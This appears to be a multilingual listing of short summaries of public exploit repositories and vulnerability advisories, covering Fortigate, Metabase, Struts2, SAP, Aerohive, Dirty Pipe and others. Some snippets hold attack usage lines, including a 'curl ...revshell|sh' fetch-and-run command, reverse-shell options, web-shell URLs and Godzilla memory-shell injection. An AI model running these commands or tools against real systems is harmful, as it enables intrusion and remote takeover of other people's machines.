CVE-2018-8414-POC

CVE-2018-8414 POC Windows Shell Package Setting Remote Code Execution Vulnerability Уязвимость удаленного выполнения кода в настройках пакета оболочки Windows Затронутые версии: Windows 10 Версия 1703 – 1803 / Windows Server Версия 1709 – 1803 Примечание: Иногда эксплойт не срабатывает в...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit Description Script Python pour exploiter la vulnérabilité CVE-2024-0039 : exécution de code arbitraire sur des appareils Android vulnérables. ATTENTION : Ce code est destiné uniquement à l'éducation et à la création, au service du bien, pour ainsi dire ! Utilisation Exécutez...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE Outil CVE-2023-38646 Outil d'exploitation graphique RCE Module de vérification Saisissez l'URL spécifiée pour détecter un Token non autorisé Exécution de commandes Ce module nécessite d'abord l'exécution du module de vérification pour obtenir un token...

CVE-2025-28915

CVE-2025-28915 Описание уязвимости: WordPress — это платформа для блогов, разработанная на языке PHP; она позволяет создавать персональные блоги на серверах с PHP и MySQL. В WordPress ThemeEgg ToolKit 1.2.9 и более ранних версиях существует уязвимость в коде, которая вызвана разрешением загрузки...

CVE-2021-30461

Produits concernés VoIPmonitor 24.60 Comment exécuter une RCE python3 CVE-2021-30461.py -t ipaddress Shell dans le navigateur : http://x.x.x.x/namrlblgel.php?a=whoami Référence https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2023-20273

CVE-2023-20273 PoC d'exploitation de CVE-2023-20273 Utilisation usage: exploit.py -h -t URL -u Utilisateur -p MotDePasse -c Commande | -r -dest FichierSortie -www | -tcp | -null -ip IPLocale -port PortLocal -fs systemeFichiers -path cheminFichier -operation typeOperation -v -q PoC d'exploitation ...

CVE-2021-44168

Exploit pour CVE-2021-44168 Objectif Exploite CVE-2021-44168 pour déposer un shell sur un pare-feu Fortigate et activer son accès via des astuces LDPRELOAD qui s'exécutent lors de l'utilisation de certaines commandes CLI de Fortigate. Vous obtenez un shell root. Utilisation Compilation : gcc -o...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, Exploit SAP POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

CVE-2023-35803

CVE-2023-35803 - RCE non authentifiée dans les points d'accès sans fil Extreme Networks/Aerohive PoC pour les points d'accès basés sur ARM exécutant HiveOS/IQ Engine "curl :8000/revshell|sh" Article complet ici : https://research.aurainfosec.io/pentest/bee-yond-capacity/...

CVE-2020-17530

S2-061 스크립트는 모두 vulhub의 struts2-059/061 취약점 테스트 환경을 기준으로 작성되었으며, 일반적이지 않으니 고수분들의 많은 조언 부탁드립니다. struts2-061-poc.py 간단한 시스템 명령 실행 가능 사용법: python struts2-061-poc.py http://ip:port command 예시: python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py 리버스 셸 가능 사용법: 1. 먼저 머신 A에서 지정된 포트를...

CVE-2022-22947-

CVE-2022-22947 Exécution de commandes par injection d'expression SpEL dans l'API Actuator de Spring Cloud Gateway CVE-2022-22947 - Injection de cheval de mémoire Godzilla Clé par défaut pass base64 Note : le code ne nettoie pas la partie routage, veuillez le faire vous-même. Environnement de test...

CVE-2023-22527-Godzilla-MEMSHELL

CVE-2023-22527-Godzilla-MEMSHELL Utilisation ps : Version testée : 8.5.1. D'autres versions fonctionnent probablement aussi, mais n'ont pas été testées. Contenu basé sur l'outil précédent du maître BeiChen. java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url motdepassegodzilla clégodzilla...

CVE-2024-3400

CVE-2024-3400 : Vulnérabilité d'injection de commandes OS Description : CVE-2024-3400 est une vulnérabilité de sécurité affectant les applications ou services qui acceptent des entrées utilisateur et exécutent des commandes du système d'exploitation en fonction de ces entrées sans validation...

CVE-2025-6019-udisks-lpe-no-image

CVE-2025-6019-udisks-lpe-no-image Только скриптовая цепочка повышения привилегий с использованием CVE-2025-6019 и UDisks2 образ файловой системы не включён. Credits, Context & Exploit Chain Этот репозиторий не вводит новую уязвимость. Реализованная здесь техника повышения привилегий полностью...

TraditionalJay

TraditionalJay Умышленно уязвимый классический / традиционный магазин для обучающих семинаров по безопасности — Java на ВМ EC2, Azure VM или GCP Compute Engine, а не контейнеры. Основная сюжетная линия: Критическая компрометация ВМ — SQL-инъекция → Log4Shell CVE-2021-44228 → обратная оболочка к...

CLSA-2026-1791201398 TuxCare security update for shell-quote (2 CVEs)

TuxCare rebuilt shell-quote to address 2 CVEs. Fixed in 1.8.1-tuxcare.2...

CVE-2022-0847-DirtyPipe-Exploit

Qu'est-ce que c'est ? Ceci est la preuve de concept de Max Kellermann pour Dirty Pipe, mais modifiée pour écraser le champ du mot de passe root dans /etc/passwd et le restaurer après avoir obtenu un shell root. Note annexe : Je ne revendique aucun crédit pour la découverte de cette vulnérabilité ...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1 --listen-port...

Astra Linux – Vulnerability in curl

libcurl will reuse a previously established connection even when options related to TLS or SSH have been changed, which should prevent such reuses. libcurl stores previously used connections in a connection pool, allowing for reuse if one of them matches the current setup. However, several TLS an...

Astra Linux – Vulnerability in Ruby-Rack

A sequence injection vulnerability exists in Rack versions 2.0.9.1, 2.1.4.1, and 2.2.3.1. This vulnerability could allow for shell escapes in the Lint and CommonLogger components of Rack...